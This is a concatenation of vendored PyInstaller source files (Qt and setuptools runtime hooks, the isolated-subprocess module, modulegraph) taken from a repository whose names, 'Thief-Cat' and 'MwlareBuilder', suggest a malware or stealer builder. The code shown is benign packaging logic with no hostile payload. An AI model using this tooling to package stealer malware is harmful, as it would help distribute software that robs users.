    if sys.platform.startswith('win') and 'PATH' in os.environ:
        os.environ['PATH'] = sys._MEIPASS + os.pathsep + os.environ['PATH']


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pyqt6.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# The path to Qt's components may not default to the wheel layout for self-compiled PySide2 installations. Mandate the
# wheel layout. See ``utils/hooks/qt.py`` for more details.


def _pyi_rthook():
    import os
    import sys

    if sys.platform.startswith('win'):
        pyqt_path = os.path.join(sys._MEIPASS, 'PySide2')
    else:
        pyqt_path = os.path.join(sys._MEIPASS, 'PySide2', 'Qt')

    os.environ['QT_PLUGIN_PATH'] = os.path.join(pyqt_path, 'plugins')

    if sys.platform == 'darwin' and sys._MEIPASS.endswith("Contents/Frameworks"):
        # Special handling for macOS .app bundles. To satisfy codesign requirements, we are forced to split `qml`
        # directory into two parts; one that keeps only binaries (rooted in `Contents/Frameworks`) and one that keeps
        # only data files (rooted in `Contents/Resources), with files from one directory tree being symlinked to the
        # other to maintain illusion of a single mixed-content directory. As Qt seems to compute the identifier of its
        # QML components based on location of the `qmldir` file w.r.t. the registered QML import paths, we need to
        # register both paths, because the `qmldir` file for a component could be reached via either directory tree.
        pyqt_path_res = os.path.normpath(
            os.path.join(sys._MEIPASS, '..', 'Resources', os.path.relpath(pyqt_path, sys._MEIPASS))
        )
        os.environ['QML2_IMPORT_PATH'] = os.pathsep.join([
            os.path.join(pyqt_path_res, 'qml'),
            os.path.join(pyqt_path, 'qml'),
        ])
    else:
        os.environ['QML2_IMPORT_PATH'] = os.path.join(pyqt_path, 'qml')

    # Modelled after similar PATH modification in PyQt5 rthook. With PySide2, this modification seems necessary for SSL
    # DLLs to be found in onefile builds (provided they were available during collection).
    if sys.platform.startswith('win') and 'PATH' in os.environ:
        os.environ['PATH'] = sys._MEIPASS + os.pathsep + os.environ['PATH']


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pyside2.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# The path to Qt's components may not default to the wheel layout for self-compiled PySide6 installations. Mandate the
# wheel layout. See ``utils/hooks/qt.py`` for more details.


def _pyi_rthook():
    import os
    import sys

    if sys.platform.startswith('win'):
        pyqt_path = os.path.join(sys._MEIPASS, 'PySide6')
    else:
        pyqt_path = os.path.join(sys._MEIPASS, 'PySide6', 'Qt')

    os.environ['QT_PLUGIN_PATH'] = os.path.join(pyqt_path, 'plugins')

    if sys.platform == 'darwin' and sys._MEIPASS.endswith("Contents/Frameworks"):
        # Special handling for macOS .app bundles. To satisfy codesign requirements, we are forced to split `qml`
        # directory into two parts; one that keeps only binaries (rooted in `Contents/Frameworks`) and one that keeps
        # only data files (rooted in `Contents/Resources), with files from one directory tree being symlinked to the
        # other to maintain illusion of a single mixed-content directory. As Qt seems to compute the identifier of its
        # QML components based on location of the `qmldir` file w.r.t. the registered QML import paths, we need to
        # register both paths, because the `qmldir` file for a component could be reached via either directory tree.
        pyqt_path_res = os.path.normpath(
            os.path.join(sys._MEIPASS, '..', 'Resources', os.path.relpath(pyqt_path, sys._MEIPASS))
        )
        os.environ['QML2_IMPORT_PATH'] = os.pathsep.join([
            os.path.join(pyqt_path_res, 'qml'),
            os.path.join(pyqt_path, 'qml'),
        ])
    else:
        os.environ['QML2_IMPORT_PATH'] = os.path.join(pyqt_path, 'qml')

    # Modelled after similar PATH modification in PyQt5 rthook. With PySide6, this modification seems necessary for SSL
    # DLLs to be found in onefile builds (provided they were available during collection).
    if sys.platform.startswith('win') and 'PATH' in os.environ:
        os.environ['PATH'] = sys._MEIPASS + os.pathsep + os.environ['PATH']


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_pyside6.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2022-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# This runtime hook performs the equivalent of the distutils-precedence.pth from the setuptools package;
# it registers a special meta finder that diverts import of distutils to setuptools._distutils, if available.


def _pyi_rthook():
    def _install_setuptools_distutils_hack():
        import os
        import setuptools

        # We need to query setuptools version at runtime, because the default value for SETUPTOOLS_USE_DISTUTILS
        # has changed at version 60.0 from "stdlib" to "local", and we want to mimic that behavior.
        setuptools_major = int(setuptools.__version__.split('.')[0])
        default_value = "stdlib" if setuptools_major < 60 else "local"

        if os.environ.get("SETUPTOOLS_USE_DISTUTILS", default_value) == "local":
            import _distutils_hack
            _distutils_hack.add_shim()

    try:
        _install_setuptools_distutils_hack()
    except Exception:
        pass


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_setuptools.py
KSCH-58/Thief-Cat
#-----------------------------------------------------------------------------
# Copyright (c) 2013-2023, PyInstaller Development Team.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: Apache-2.0
#-----------------------------------------------------------------------------

# Put the cache generated by `win32com.client.gencache` into isolated temporary directory. Historically, this was
# required due to earlier versions of `pywin32` using the `site-packages\win32com\client\gen_py`  directory for
# the cache by default. Nowadays, the default location for the cache seems to be in the configured temporary directory
# (pointed to by TEMP or TMP, for example %LOCALAPPDATA%\Temp), so strictly speaking, the relocation is not necessary
# anymore. But for the time being, we are keeping it around to isolate the frozen application from the rest of the
# system.


def _pyi_rthook():
    import atexit
    import os
    import shutil

    import win32com

    import _pyi_rth_utils  # PyInstaller's run-time hook utilities module

    # Create temporary directory.
    # Use our replacement for `tempfile.mkdtemp` function that properly restricts access to directory on all platforms.
    supportdir = _pyi_rth_utils.secure_mkdtemp()
    # The actual cache directory needs to be named `gen_py`, so create a sub-directory.
    genpydir = os.path.join(supportdir, 'gen_py')
    os.makedirs(genpydir, exist_ok=True)

    # Remove the teporary directory at application exit, ignoring errors.
    atexit.register(shutil.rmtree, supportdir, ignore_errors=True)

    # Override the default path to gen_py cache.
    win32com.__gen_path__ = genpydir

    # Override the sub-module paths for win32com.gen_py run-time sub-package.
    win32com.gen_py.__path__ = [genpydir]


_pyi_rthook()
del _pyi_rthook

ThiefCat_assets/MwlareBuilder/hooks/rthooks/pyi_rth_win32comgenpy.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) or, at the user's discretion, the MIT License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception OR MIT)
# -----------------------------------------------------------------------------
"""
PyInstaller hooks typically will need to import the package which they are written for but doing so may manipulate
globals such as :data:`sys.path` or :data:`os.environ` in ways that affect the build. For example, on Windows,
Qt's binaries are added to then loaded via ``PATH`` in such a way that if you import multiple Qt variants in one
session then there is no guarantee which variant's binaries each variant will get!

To get around this, PyInstaller does any such tasks in an isolated Python subprocess and ships a
:mod:`PyInstaller.isolated` submodule to do so in hooks. ::

    from PyInstaller import isolated

This submodule provides:

*   :func:`isolated.call() <call>` to evaluate functions in isolation.
*   :func:`@isolated.decorate <decorate>` to mark a function as always called in isolation.
*   :class:`isolated.Python() <Python>` to efficiently call many functions in a single child instance of Python.

"""

# ruff: noqa
from ._parent import Python, call, decorate

ThiefCat_assets/MwlareBuilder/isolated/__init__.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) or, at the user's discretion, the MIT License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception OR MIT)
# -----------------------------------------------------------------------------
"""
The child process to be invoked by IsolatedPython().

This file is to be run directly with pipe handles for reading from and writing to the parent process as command line
arguments.

"""

import sys
import os
import types
from marshal import loads, dumps
from base64 import b64encode, b64decode
from traceback import format_exception

if os.name == "nt":
    from msvcrt import open_osfhandle

    def _open(osf_handle, mode):
        # Convert system file handles to file descriptors before opening them.
        return open(open_osfhandle(osf_handle, 0), mode)
else:
    _open = open


def run_next_command(read_fh, write_fh):
    """
    Listen to **read_fh** for the next function to run. Write the result to **write_fh**.
    """

    # Check the first line of input. Receiving an empty line is the signal that there are no more tasks to be ran.
    first_line = read_fh.readline()
    if first_line == b"\n":
        # It's time to end this child process
        return False

    # There are 5 lines to read: The function's code, its default args, its default kwargs, its args, and its kwargs.
    code = loads(b64decode(first_line.strip()))
    _defaults = loads(b64decode(read_fh.readline().strip()))
    _kwdefaults = loads(b64decode(read_fh.readline().strip()))
    args = loads(b64decode(read_fh.readline().strip()))
    kwargs = loads(b64decode(read_fh.readline().strip()))

    try:
        # Define the global namespace available to the function.
        GLOBALS = {"__builtins__": __builtins__, "__isolated__": True}
        # Reconstruct the function.
        function = types.FunctionType(code, GLOBALS)
        function.__defaults__ = _defaults
        function.__kwdefaults__ = _kwdefaults

        # Run it.
        output = function(*args, **kwargs)

        # Verify that the output is serialise-able (i.e. no custom types or module or function references) here so that
        # it's caught if it fails.
        marshalled = dumps((True, output))

    except BaseException as ex:
        # An exception happened whilst either running the function or serialising its output. Send back a string
        # version of the traceback (unfortunately raw traceback objects are not marshal-able) and a boolean to say
        # that it failed.
        tb_lines = format_exception(type(ex), ex, ex.__traceback__)
        if tb_lines[0] == "Traceback (most recent call last):\n":
            # This particular line is distracting. Get rid of it.
            tb_lines = tb_lines[1:]
        marshalled = dumps((False, "".join(tb_lines).rstrip()))

    # Send the output (return value or traceback) back to the parent.
    write_fh.write(b64encode(marshalled))
    write_fh.write(b"\n")
    write_fh.flush()

    # Signal that an instruction was ran (successfully or otherwise).
    return True


if __name__ == '__main__':
    read_from_parent, write_to_parent = map(int, sys.argv[1:])

    with _open(read_from_parent, "rb") as read_fh:
        with _open(write_to_parent, "wb") as write_fh:
            sys.path = loads(b64decode(read_fh.readline()))

            # Keep receiving and running instructions until the parent sends the signal to stop.
            while run_next_command(read_fh, write_fh):
                pass

ThiefCat_assets/MwlareBuilder/isolated/_child.py
KSCH-58/Thief-Cat
# -----------------------------------------------------------------------------
# Copyright (c) 2021-2023, PyInstaller Development Team.
#
# Distributed under the terms of the GNU General Public License (version 2
# or later) or, at the user's discretion, the MIT License.
#
# The full license is in the file COPYING.txt, distributed with this software.
#
# SPDX-License-Identifier: (GPL-2.0-or-later WITH Bootloader-exception OR MIT)
# -----------------------------------------------------------------------------

import os
from pathlib import Path
from marshal import loads, dumps
from base64 import b64encode, b64decode
import functools
import subprocess
import sys

from PyInstaller import compat
from PyInstaller import log as logging

logger = logging.getLogger(__name__)

# WinAPI bindings for Windows-specific codepath
if os.name == "nt":
    import msvcrt
    import ctypes
    import ctypes.wintypes

    # CreatePipe
    class SECURITY_ATTRIBUTES(ctypes.Structure):
        _fields_ = [
            ("nLength", ctypes.wintypes.DWORD),
            ("lpSecurityDescriptor", ctypes.wintypes.LPVOID),
            ("bInheritHandle", ctypes.wintypes.BOOL),
        ]

    HANDLE_FLAG_INHERIT = 0x0001

    LPSECURITY_ATTRIBUTES = ctypes.POINTER(SECURITY_ATTRIBUTES)

    CreatePipe = ctypes.windll.kernel32.CreatePipe
    CreatePipe.argtypes = [
        ctypes.POINTER(ctypes.wintypes.HANDLE),
        ctypes.POINTER(ctypes.wintypes.HANDLE),
        LPSECURITY_ATTRIBUTES,
        ctypes.wintypes.DWORD,
    ]
    CreatePipe.restype = ctypes.wintypes.BOOL

    # CloseHandle
    CloseHandle = ctypes.windll.kernel32.CloseHandle
    CloseHandle.argtypes = [ctypes.wintypes.HANDLE]
    CloseHandle.restype = ctypes.wintypes.BOOL

CHILD_PY = Path(__file__).with_name("_child.py")


def create_pipe(read_handle_inheritable, write_handle_inheritable):
    """
    Create a one-way pipe for sending data to child processes.

    Args:
        read_handle_inheritable:
            A boolean flag indicating whether the handle corresponding to the read end-point of the pipe should be
            marked as inheritable by subprocesses.
        write_handle_inheritable:
            A boolean flag indicating whether the handle corresponding to the write end-point of the pipe should be
            marked as inheritable by subprocesses.

    Returns:
        A read/write pair of file descriptors (which are just integers) on posix or system file handles on Windows.

    The pipe may be used either by this process or subprocesses of this process but not globally.
    """
    return _create_pipe_impl(read_handle_inheritable, write_handle_inheritable)


def close_pipe_endpoint(pipe_handle):
    """
    Close the file descriptor (posix) or handle (Windows) belonging to a pipe.
    """
    return _close_pipe_endpoint_impl(pipe_handle)


if os.name == "nt":

    def _create_pipe_impl(read_handle_inheritable, write_handle_inheritable):
        # Use WinAPI CreatePipe function to create the pipe. Python's os.pipe() does the same, but wraps the resulting
        # handles into inheritable file descriptors (https://github.com/python/cpython/issues/77046). Instead, we want
        # just handles, and will set the inheritable flag on corresponding handle ourselves.
        read_handle = ctypes.wintypes.HANDLE()
        write_handle = ctypes.wintypes.HANDLE()

        # SECURITY_ATTRIBUTES with inherit handle set to True
        security_attributes = SECURITY_ATTRIBUTES()
        security_attributes.nLength = ctypes.sizeof(security_attributes)
        security_attributes.bInheritHandle = True
        security_attributes.lpSecurityDescriptor = None

        # CreatePipe()
        succeeded = CreatePipe(
            ctypes.byref(read_handle),  # hReadPipe
            ctypes.byref(write_handle),  # hWritePipe
            ctypes.byref(security_attributes),  # lpPipeAttributes
            0,  # nSize
        )
        if not succeeded:
            raise ctypes.WinError()

        # Set inheritable flags. Instead of binding and using SetHandleInformation WinAPI function, we can use
        # os.set_handle_inheritable().
        os.set_handle_inheritable(read_handle.value, read_handle_inheritable)
        os.set_handle_inheritable(write_handle.value, write_handle_inheritable)

        return read_handle.value, write_handle.value

    def _close_pipe_endpoint_impl(pipe_handle):
        succeeded = CloseHandle(pipe_handle)
        if not succeeded:
            raise ctypes.WinError()
else:

    def _create_pipe_impl(read_fd_inheritable, write_fd_inheritable):
        # Create pipe, using os.pipe()
        read_fd, write_fd = os.pipe()

        # The default behaviour of pipes is that they are process specific. I.e., they can only be used by this
        # process to talk to itself. Setting inheritable flags means that child processes may also use these pipes.
        os.set_inheritable(read_fd, read_fd_inheritable)
        os.set_inheritable(write_fd, write_fd_inheritable)

        return read_fd, write_fd

    def _close_pipe_endpoint_impl(pipe_fd):
        os.close(pipe_fd)


def child(read_from_parent: int, write_to_parent: int):
    """
    Spawn a Python subprocess sending it the two file descriptors it needs to talk back to this parent process.
    """
    if os.name != 'nt':
        # Explicitly disabling close_fds is a requirement for making file descriptors inheritable by child processes.
        extra_kwargs = {
            "env": _subprocess_env(),
            "close_fds": False,
        }
    else:
        # On Windows, we can use subprocess.STARTUPINFO to explicitly pass the list of file handles to be inherited,
        # so we can avoid disabling close_fds
        extra_kwargs = {
            "env": _subprocess_env(),
            "close_fds": True,
            "startupinfo": subprocess.STARTUPINFO(lpAttributeList={"handle_list": [read_from_parent, write_to_parent]})
        }

    # Run the _child.py script directly passing it the two file descriptors it needs to talk back to the parent.
    cmd, options = compat.__wrap_python([str(CHILD_PY), str(read_from_parent), str(write_to_parent)], extra_kwargs)

    # I'm intentionally leaving stdout and stderr alone so that print() can still be used for emergency debugging and
    # unhandled errors in the child are still visible.
    return subprocess.Popen(cmd, **options)


def _subprocess_env():
    """
    Define the environment variables to be readable in a child process.
    """
    from PyInstaller.config import CONF
    python_path = CONF["pathex"]
    if "PYTHONPATH" in os.environ:
        python_path = python_path + [os.environ["PYTHONPATH"]]
    env = os.environ.copy()
    env["PYTHONPATH"] = os.pathsep.join(python_path)
    return env


class SubprocessDiedError(RuntimeError):
    pass


class Python:
    """
    Start and connect to a separate Python subprocess.

    This is the lowest level of public API provided by this module. The advantage of using this class directly is
    that it allows multiple functions to be evaluated in a single subprocess, making it faster than multiple calls to
    :func:`call`.

    The ``strict_mode`` argument controls behavior when the child process fails to shut down; if strict mode is enabled,
    an error is raised, otherwise only warning is logged. If the value of ``strict_mode`` is ``None``, the value of
    ``PyInstaller.compat.strict_collect_mode`` is used (which in turn is controlled by the
    ``PyInstaller_STRICT_COLLECT_MODE`` environment variable.

    Examples:
        To call some predefined functions ``x = foo()``, ``y = bar("numpy")`` and ``z = bazz(some_flag=True)`` all using
        the same isolated subprocess use::

            with isolated.Python() as child:
                x = child.call(foo)
                y = child.call(bar, "numpy")
                z = child.call(bazz, some_flag=True)

    """
    def __init__(self, strict_mode=None):
        self._child = None

        # Re-use the compat.strict_collect_mode and its PyInstaller_STRICT_COLLECT_MODE environment variable for
        # default strict-mode setting.
        self._strict_mode = strict_mode if strict_mode is not None else compat.strict_collect_mode

    def __enter__(self):
        # We need two pipes. One for the child to send data to the parent. The (write) end-point passed to the
        # child needs to be marked as inheritable.
        read_from_child, write_to_parent = create_pipe(False, True)
        # And one for the parent to send data to the child. The (read) end-point passed to the child needs to be
        # marked as inheritable.
        read_from_parent, write_to_child = create_pipe(True, False)

        # Spawn a Python subprocess sending it the two file descriptors it needs to talk back to this parent process.
        self._child = child(read_from_parent, write_to_parent)

        # Close the end-points that were inherited by the child.
        close_pipe_endpoint(read_from_parent)
        close_pipe_endpoint(write_to_parent)
        del read_from_parent
        del write_to_parent

        # Open file handles to talk to the child. This should fully transfer ownership of the underlying file
        # descriptor to the opened handle; so when we close the latter, the former should be closed as well.
        if os.name == 'nt':
            # On Windows, we must first open file descriptor on top of the handle using _open_osfhandle (which
            # python wraps in msvcrt.open_osfhandle). According to MSDN, this transfers the ownership of the
            # underlying file handle to the file descriptors; i.e., they are both closed when the file descriptor
            # is closed).
            self._write_handle = os.fdopen(msvcrt.open_osfhandle(write_to_child, 0), "wb")
            self._read_handle = os.fdopen(msvcrt.open_osfhandle(read_from_child, 0), "rb")
        else:
            self._write_handle = os.fdopen(write_to_child, "wb")
            self._read_handle = os.fdopen(read_from_child, "rb")

        self._send(sys.path)

        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        if exc_type and issubclass(exc_type, SubprocessDiedError):
            self._write_handle.close()
            self._read_handle.close()
            del self._read_handle, self._write_handle
            self._child = None
            return
        # Send the signal (a blank line) to the child to tell it that it's time to stop.
        self._write_handle.write(b"\n")
        self._write_handle.flush()

        # Wait for the child process to exit. The timeout is necessary for corner cases when the sub-process fails to
        # exit (such as due to dangling non-daemon threads; see #7290). At this point, the subprocess already did all
        # its work, so it should be safe to terminate. And as we expect it to shut down quickly (or not at all), the
        # timeout is relatively short.
        #
        # In strict build mode, we raise an error when the subprocess fails to exit on its own, but do so only after
        # we attempt to kill the subprocess, to avoid leaving zombie processes.
        shutdown_error = False

        try:
            self._child.wait(timeout=5)
        except subprocess.TimeoutExpired:
            logger.warning("Timed out while waiting for the child process to exit!")
            shutdown_error = True
            self._child.kill()
            try:
                self._child.wait(timeout=15)
            except subprocess.TimeoutExpired:
                logger.warning("Timed out while waiting for the child process to be killed!")
                # Give up and fall through

        # Close the handles. This should also close the underlying file descriptors.
        self._write_handle.close()
        self._read_handle.close()
        del self._read_handle, self._write_handle

        self._child = None

        # Raise an error in strict mode, after all clean-up has been performed.
        if shutdown_error and self._strict_mode:
            raise RuntimeError("Timed out while waiting for the child process to exit!")

    def call(self, function, *args, **kwargs):
        """
        Call a function in the child Python. Retrieve its return value. Usage of this method is identical to that
        of the :func:`call` function.
        """
        if self._child is None:
            raise RuntimeError("An isolated.Python object must be used in a 'with' clause.")

        self._send(function.__code__, function.__defaults__, function.__kwdefaults__, args, kwargs)

        # Read a single line of output back from the child. This contains if the function worked and either its return
        # value or a traceback. This will block indefinitely until it receives a '\n' byte.
        try:
            ok, output = loads(b64decode(self._read_handle.readline()))
        except (EOFError, BrokenPipeError):
            # Subprocess appears to have died in an unhandleable way (e.g. SIGSEV). Raise an error.
            raise SubprocessDiedError(
                f"Child process died calling {function.__name__}() with args={args} and "
                f"kwargs={kwargs}. Its exit code was {self._child.wait()}."
            ) from None

        # If all went well, then ``output`` is the return value.
        if ok:
            return output

        # Otherwise an error happened and ``output`` is a string-ified stacktrace. Raise an error appending the
        # stacktrace. Having the output in this order gives a nice fluent transition from parent to child in the stack
        # trace.
        raise RuntimeError(f"Child process call to {function.__name__}() failed with:\n" + output)

    def _send(self, *objects):
        for object in objects:
            self._write_handle.write(b64encode(dumps(object)))
            self._write_handle.write(b"\n")
        # Flushing is very important. Without it, the data is not sent but forever sits in a buffer so that the child is
        # forever waiting for its data and the parent in turn is forever waiting for the child's response.
        self._write_handle.flush()


def call(function, *args, **kwargs):
    r"""
    Call a function with arguments in a separate child Python. Retrieve its return value.

    Args:
        function:
            The function to send and invoke.
        *args:
        **kwargs:
            Positional and keyword arguments to send to the function. These must be simple builtin types - not custom
            classes.
    Returns:
        The return value of the function. Again, these must be basic types serialisable by :func:`marshal.dumps`.
    Raises:
        RuntimeError:
            Any exception which happens inside an isolated process is caught and reraised in the parent process.

    To use, define a function which returns the information you're looking for. Any imports it requires must happen in
    the body of the function. For example, to safely check the output of ``matplotlib.get_data_path()`` use::

        # Define a function to be ran in isolation.
        def get_matplotlib_data_path():
            import matplotlib
            return matplotlib.get_data_path()

        # Call it with isolated.call().
        get_matplotlib_data_path = isolated.call(matplotlib_data_path)

    For single use functions taking no arguments like the above you can abuse the decorator syntax slightly to define
    and execute a function in one go. ::

        >>> @isolated.call
        ... def matplotlib_data_dir():
        ...     import matplotlib
        ...     return matplotlib.get_data_path()
        >>> matplotlib_data_dir
        '/home/brenainn/.pyenv/versions/3.9.6/lib/python3.9/site-packages/matplotlib/mpl-data'

    Functions may take positional and keyword arguments and return most generic Python data types. ::

        >>> def echo_parameters(*args, **kwargs):
        ...     return args, kwargs
        >>> isolated.call(echo_parameters, 1, 2, 3)
        (1, 2, 3), {}
        >>> isolated.call(echo_parameters, foo=["bar"])
        (), {'foo': ['bar']}

    Notes:
        To make a function behave differently if it's isolated, check for the ``__isolated__`` global. ::

            if globals().get("__isolated__", False):
                # We're inside a child process.
                ...
            else:
                # This is the master process.
                ...

    """
    with Python() as isolated:
        return isolated.call(function, *args, **kwargs)


def decorate(function):
    """
    Decorate a function so that it is always called in an isolated subprocess.

    Examples:

        To use, write a function then prepend ``@isolated.decorate``. ::

            @isolated.decorate
            def add_1(x):
                '''Add 1 to ``x``, displaying the current process ID.'''
                import os
                print(f"Process {os.getpid()}: Adding 1 to {x}.")
                return x + 1

        The resultant ``add_1()`` function can now be called as you would a
        normal function and it'll automatically use a subprocess.

            >>> add_1(4)
            Process 4920: Adding 1 to 4.
            5
            >>> add_1(13.2)
            Process 4928: Adding 1 to 13.2.
            14.2

    """
    @functools.wraps(function)
    def wrapped(*args, **kwargs):
        return call(function, *args, **kwargs)

    return wrapped

ThiefCat_assets/MwlareBuilder/isolated/_parent.py
KSCH-58/Thief-Cat
"""
modulegraph.find_modules - High-level module dependency finding interface
=========================================================================

History
........

Originally (loosely) based on code in py2exe's build_exe.py by Thomas Heller.
"""
import sys
import os
import pkgutil

from .modulegraph import Alias

_PLATFORM_MODULES = {'posix', 'nt', 'os2', 'mac', 'ce', 'riscos'}


def get_implies():
    result = {
        # imports done from builtin modules in C code
        # (untrackable by modulegraph)
        "_curses":      ["curses"],
        "posix":        ["resource"],
        "gc":           ["time"],
        "time":         ["_strptime"],
        "datetime":     ["time"],
        "MacOS":        ["macresource"],
        "cPickle":      ["copy_reg", "cStringIO"],
        "parser":       ["copy_reg"],
        "codecs":       ["encodings"],
        "cStringIO":    ["copy_reg"],
        "_sre":         ["copy", "string", "sre"],
        "zipimport":    ["zlib"],

        # Python 3.2:
        "_datetime":    ["time", "_strptime"],
        "_json":        ["json.decoder"],
        "_pickle":      ["codecs", "copyreg", "_compat_pickle"],
        "_posixsubprocess": ["gc"],
        "_ssl":         ["socket"],

        # Python 3.3:
        "_elementtree": ["copy", "xml.etree.ElementPath"],

        # mactoolboxglue can do a bunch more of these
        # that are far harder to predict, these should be tracked
        # manually for now.

        # this isn't C, but it uses __import__
        "anydbm":       ["dbhash", "gdbm", "dbm", "dumbdbm", "whichdb"],
        # package aliases
        "wxPython.wx":  Alias('wx'),

    }

    if sys.version_info[0] == 3:
        result["_sre"] = ["copy", "re"]
        result["parser"] = ["copyreg"]

        # _frozen_importlib is part of the interpreter itself
        result["_frozen_importlib"] = None

    if sys.version_info[0] == 2 and sys.version_info[1] >= 5:
        result.update({
            "email.base64MIME":         Alias("email.base64mime"),
            "email.Charset":            Alias("email.charset"),
            "email.Encoders":           Alias("email.encoders"),
            "email.Errors":             Alias("email.errors"),
            "email.Feedparser":         Alias("email.feedParser"),
            "email.Generator":          Alias("email.generator"),
            "email.Header":             Alias("email.header"),
            "email.Iterators":          Alias("email.iterators"),
            "email.Message":            Alias("email.message"),
            "email.Parser":             Alias("email.parser"),
            "email.quopriMIME":         Alias("email.quoprimime"),
            "email.Utils":              Alias("email.utils"),
            "email.MIMEAudio":          Alias("email.mime.audio"),
            "email.MIMEBase":           Alias("email.mime.base"),
            "email.MIMEImage":          Alias("email.mime.image"),
            "email.MIMEMessage":        Alias("email.mime.message"),
            "email.MIMEMultipart":      Alias("email.mime.multipart"),
            "email.MIMENonMultipart":   Alias("email.mime.nonmultipart"),
            "email.MIMEText":           Alias("email.mime.text"),
        })

    if sys.version_info[:2] >= (2, 5):
        result["_elementtree"] = ["pyexpat"]

        import xml.etree
        for _, module_name, is_package in pkgutil.iter_modules(xml.etree.__path__):
            if not is_package:
                result["_elementtree"].append("xml.etree.%s" % (module_name,))

    if sys.version_info[:2] >= (2, 6):
        result['future_builtins'] = ['itertools']

    # os.path is an alias for a platform specific submodule,
    # ensure that the graph shows this.
    result['os.path'] = Alias(os.path.__name__)

    return result

ThiefCat_assets/MwlareBuilder/lib/modulegraph/find_modules.py
KSCH-58/Thief-Cat
"""
Find modules used by a script, using bytecode analysis.

Based on the stdlib modulefinder by Thomas Heller and Just van Rossum,
but uses a graph data structure and 2.3 features

XXX: Verify all calls to _import_hook (and variants) to ensure that
imports are done in the right way.
"""
#FIXME: To decrease the likelihood of ModuleGraph exceeding the recursion limit
#and hence unpredictably raising fatal exceptions, increase the recursion
#limit at PyInstaller startup (i.e., in the
#PyInstaller.building.build_main.build() function). For details, see:
#    https://github.com/PyInstaller/PyInstaller/issues/1919#issuecomment-216016176

import ast
import codecs
import marshal
import os
import pkgutil
import sys
import re
from collections import deque, namedtuple, defaultdict
import warnings
import importlib.util
import importlib.machinery

# The logic in PyInstaller.compat ensures that these are available and
# of correct version.
if sys.version_info >= (3, 10):
    import importlib.metadata as importlib_metadata
else:
    import importlib_metadata

from altgraph.ObjectGraph import ObjectGraph
from altgraph import GraphError

from . import util
from . import zipio
from ._compat import BytesIO, pathname2url, _READ_MODE


BOM = codecs.BOM_UTF8.decode('utf-8')


class BUILTIN_MODULE:
    def is_package(fqname):
        return False


class NAMESPACE_PACKAGE:
    def __init__(self, namespace_dirs):
        self.namespace_dirs = namespace_dirs

    def is_package(self, fqname):
        return True


#FIXME: Leverage this rather than magic numbers below.
ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL = -1
"""
Constant instructing the builtin `__import__()` function to attempt both
absolute and relative imports.
"""


#FIXME: Leverage this rather than magic numbers below.
ABSOLUTE_IMPORT_LEVEL = 0
"""
Constant instructing the builtin `__import__()` function to attempt only
absolute imports.
"""


#FIXME: Leverage this rather than magic numbers below.
DEFAULT_IMPORT_LEVEL = (
    ABSOLUTE_OR_RELATIVE_IMPORT_LEVEL if sys.version_info[0] == 2 else
    ABSOLUTE_IMPORT_LEVEL)
"""
Constant instructing the builtin `__import__()` function to attempt the default
import style specific to the active Python interpreter.

Specifically, under:

* Python 2, this defaults to attempting both absolute and relative imports.
* Python 3, this defaults to attempting only absolute imports.
"""

# Reverse sort by length so when comparing filenames the longest match first
_IMPORTABLE_FILETYPE_EXTS = sorted(importlib.machinery.all_suffixes(),
                                   key=lambda p: len(p), reverse=True)

# Modulegraph does a good job at simulating Python's, but it can not
# handle packagepath modifications packages make at runtime.  Therefore there
# is a mechanism whereby you can register extra paths in this map for a
# package, and it will be honored.
#
# Note this is a mapping is lists of paths.
_packagePathMap = {}


class InvalidRelativeImportError (ImportError):
    pass


_strs = re.compile(r'''^\s*["']([A-Za-z0-9_]+)["'],?\s*''')  # "<- emacs happy


def _eval_str_tuple(value):
    """
    Input is the repr of a tuple of strings, output
    is that tuple.

    This only works with a tuple where the members are
    python identifiers.
    """
    if not (value.startswith('(') and value.endswith(')')):
        raise ValueError(value)

    orig_value = value
    value = value[1:-1]

    result = []
    while value:
        m = _strs.match(value)
        if m is None:
            raise ValueError(orig_value)

        result.append(m.group(1))
        value = value[len(m.group(0)):]

    return tuple(result)


def _path_from_importerror(exc, default):
    # This is a hack, but sadly enough the necessary information
    # isn't available otherwise.
    m = re.match(r'^No module named (\S+)$', str(exc))
    if m is not None:
        return m.group(1)

    return default


def os_listdir(path):
    """
    Deprecated name
    """
    warnings.warn(
        "Use zipio.listdir instead of os_listdir",
        DeprecationWarning)
    return zipio.listdir(path)


def _code_to_file(co):
